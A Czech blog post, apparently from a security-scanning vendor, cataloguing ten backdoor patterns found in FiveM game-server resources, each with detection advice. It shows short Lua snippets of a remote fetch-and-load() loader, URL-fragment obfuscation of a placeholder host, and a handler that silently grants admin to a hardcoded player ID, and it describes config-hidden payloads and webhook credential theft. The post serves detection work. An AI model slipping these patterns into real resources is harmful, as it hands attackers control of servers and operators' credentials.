Deset vzorů backdoorů, které ve FiveM resourcech nacházíme opakovaně

Publikováno 5 min čteníTitan Software z.s.

Ve zkratce

FiveM backdoory jsou mnohem méně rozmanité, než by se z jejich prodeje zdálo. Většinu toho, co koluje, pokrývá deset vzorů: vzdálený loader, který stáhne a spustí kód; URL rozsekaná do kousků řetězce; payload schovaný v configu nebo lokalizačním souboru; tiché add_ace pro natvrdo zadaný identifikátor; registrovaný event, který spouští vlastní argument; webhook odesílající connection stringy; Lua soubor dodaný spolu s nesouvisejícím binárkem; auto-updater bez kontroly integrity; whitelist, který při chybě pustí dovnitř; a obfuskovaný blob, jehož jediným úkolem je schovat jeden z předchozích devíti. Každý má vlastní detekční signaturu a žádný z nich nevyžaduje k odhalení novou techniku.

Hlavní body

  • Vzdálený loader (stažení → dekódování → load) zůstává nejčastější i nejničivější podobou.
  • Backdoory se schovávají v souborech, které revizoři přeskakují: config.lua, lokalizace a přibalené knihovny.
  • Registrovaný event, který předává svůj argument do load(), je RCE vystavené do sítě, ne detail backdooru.
  • Auto-updatery bez ověření podpisu jsou backdoor čekající na to, až ho někdo doručí.
  • Obfuskace je jen zřídka samotným útokem — bývá obalem kolem jednoho z ostatních devíti vzorů.

Když projdete dost zaslaných archivů, rozmanitost se zhroutí. Útočníci recyklují buildery, opisují si navzájem posty na Discordu a stejný loader přebarví pro nový marketplace. Následuje podoba toho, co skutečně vídáme, zhruba seřazená podle četnosti, včetně toho, jak vypadá detekce.

1. Vzdálený loader

Archetyp: HTTP požadavek stáhne řetězec, něco ho dekóduje a load() ho spustí. Všechno, co chce útočník dělat, žije na jeho serveru, takže samotný resource zůstává malý a v diffu vypadá neškodně.

lua
PerformHttpRequest(cfg.endpoint, function(code, body)
  if code == 200 then
    local chunk = load(decode(body))
    if chunk then chunk() end
  end
end, 'GET')
Zkráceno kvůli čitelnosti; reálné vzorky to rozprostírají přes soubory

Detekce: datová cesta z libovolné síťové odpovědi do místa dynamického načtení. Hledání klíčových slov najde naivní verze; cokoli rozprostřeného přes dva soubory potřebuje skutečný taint tracking.

2. Rozsekaná URL

Protože provozovatelé grepují http, URL se skládá za běhu z fragmentů, kódů znaků nebo spojení tabulky. Řetězec 'https://' se v souboru vůbec neobjeví.

lua
local a = 'ht' .. 'tps://' .. 'cdn-' .. host .. '.example'
local b = string.char(104,116,116,112,115)
local c = table.concat({'https:', '', 'api.example', 'v1'}, '/')
Tři způsoby, jak schovat stejný host

Detekce: constant folding. Během analýzy vyhodnoťte konkatenace, sekvence znaků a spojení tabulek a porovnávejte až složenou hodnotu, ne zdrojový text.

3. Payload v configu

Konfigurační soubory edituje každý provozovatel a pozorně je nečte skoro nikdo. Dlouhý base64 blob přiřazený něčemu jako Config.Telemetry nebo „licenční klíč“, který je ve skutečnosti zakódovaný payload, projde revizí, protože config působí jako data, ne jako kód.

Detekce: označte řetězcové literály s vysokou entropií nad určitou délkou v každém souboru, který manifest načítá, a ověřte, jestli se proměnná, která je drží, někdy dostane do dekódovací nebo spouštěcí cesty. Lokalizační a překladové soubory si zaslouží úplně stejné zacházení.

4. Tiché přidělení ace

Místo spouštění kódu resource prostě předá útočníkovi autoritu: natvrdo zadaný licenční identifikátor přidaný k principálu s přístupem k příkazům, nebo volání ExecuteCommand, které udělí admina, když se připojí konkrétní hráč.

lua
AddEventHandler('playerConnecting', function()
  local id = GetPlayerIdentifierByType(source, 'license')
  if id == 'license:REDACTED' then
    ExecuteCommand(('add_principal identifier.%s group.admin'):format(id))
  end
end)
Žádné síťové volání, žádná obfuskace, plná kontrola

Detekce: jakýkoli natvrdo zadaný identifikátor hráče porovnávaný s živou identitou a jakékoli add_ace, add_principal či ExecuteCommand dosažitelné z event handleru. Tenhle vzor nespustí žádnou síťovou heuristiku — právě proto si zaslouží vlastní pravidlo.

5. Event, který spouští vlastní argument

RegisterNetEvent plus handler, který předá svůj parametr do load(), dělá z každého připojeného klienta vektor vzdáleného spuštění kódu — a v některých vzorcích je název eventu záměrně nenápadný, třeba 'sync:update' nebo název opsaný z populárního frameworku.

Detekce: parametry síťových eventů berte jako tainted zdroje. Jakákoli cesta z argumentu eventu do load, ExecuteCommand nebo SQL řetězce je nález bez ohledu na úmysl, protože je zneužitelná, ať už to autor myslel jakkoli.

6. Exfiltrační webhook

Žádné spouštění kódu — resource jen přečte konfiguraci serveru, connection string k databázi nebo data hráčů a odešle je POSTem na Discord webhook. Levné na napsání, těžké si všimnout a bohatě stačí k pozdějšímu převzetí serveru přes uniklé přihlašovací údaje.

Detekce: datový tok z GetConvar, přístupu k prostředí nebo výsledků dotazu do odchozího požadavku. URL webhooku, která není v konfiguraci provozovatele, stojí za nahlášení sama o sobě.

7. Nesouvisející binárka

Lua resource přijde s „instalátorem“ .exe, .dll nebo .sh, případně s Node modulem s postinstall skriptem. Škodlivá část se FiveM vůbec nedotkne — míří na počítač provozovatele během instalace.

Detekce: inventura typů souborů. Jakýkoli spustitelný soubor, archiv v archivu nebo manifest balíčkovače s lifecycle skripty uvnitř archivu resource by měl být nahlášen dřív, než vůbec začne analýza Lua.

8. Neověřený auto-updater

Tenhle většinou nebyl napsán se zlým úmyslem. Resource si stahuje vlastní aktualizace z URL, zapisuje je do svého adresáře a znovu se načte. Backdoorem se stane ve chvíli, kdy doména vyprší, účet prodejce je kompromitován, nebo se prodejce rozhodne svou instalovanou základnu zpeněžit.

Detekce: zápisy do adresáře resource pocházející ze síťové odpovědi bez ověření podpisu nebo hashe mezi tím. Hlaste to jako doručené riziko, ne jako aktivní zlý úmysl — ale hlaste to.

9. Whitelist, který při chybě pustí dovnitř

Kontrola oprávnění, která vrátí true, když je její zdroj dat nedostupný, nebo kontrola admina porovnávající hodnotu, kterou ovládá klient. Úmyslem to backdoor není, výsledkem ano.

Detekce: autorizační rozhodnutí, jejichž chybová větev uděluje místo odepírá, a porovnávání s hodnotami dodanými klientem v serverovém kontextu.

10. Obfuskovaný obal

Jen zřídka útok sám o sobě — téměř vždy kontejner pro jeden z devíti výše. Nejde o to, že je soubor obfuskovaný, ale co obfuskace chrání a jestli má resource vůbec legitimní důvod být nečitelný.

Zkontrolovat archiv proti těmto vzorůmFXScan má detekce pro každou podobu výše a hlásí důkazní cestu, ne jen verdikt.

Časté dotazy

Jaký je nejčastější typ FiveM backdooru?

Vzdálený loader: resource udělá odchozí HTTP požadavek, dekóduje odpověď a předá ji do load(), takže se kód útočníka spustí přímo v procesu vašeho serveru. Je nejčastější proto, že samotný resource zůstane malý a nenápadný, zatímco veškerá škodlivá logika žije na serveru, který útočník ovládá a může ho kdykoli změnit.

Může FiveM backdoor fungovat bez síťových požadavků?

Ano. Kontrola natvrdo zadaného identifikátoru, která udělí admin práva konkrétní licenci nebo Steam ID, žádnou síť nepotřebuje — útočník se prostě připojí na váš server. Tenhle vzor obejde jakoukoli detekci postavenou čistě na odchozích spojeních, a proto si porovnávání identifikátorů a přidělování ace/principal zaslouží vlastní pravidla.

Jsou auto-updatery ve FiveM resourcech nebezpečné?

Auto-updater, který stahuje kód a zapisuje ho do adresáře resource bez ověření podpisu či hashe, je doručovací kanál pro toho, kdo ovládá danou doménu — dnes původní prodejce, zítra klidně někdo jiný, pokud doména vyprší nebo je účet kompromitován. Nebyl napsán se zlým úmyslem, ale je to trvalé riziko, které jste si nevybrali.

Související projekty

Čtěte dál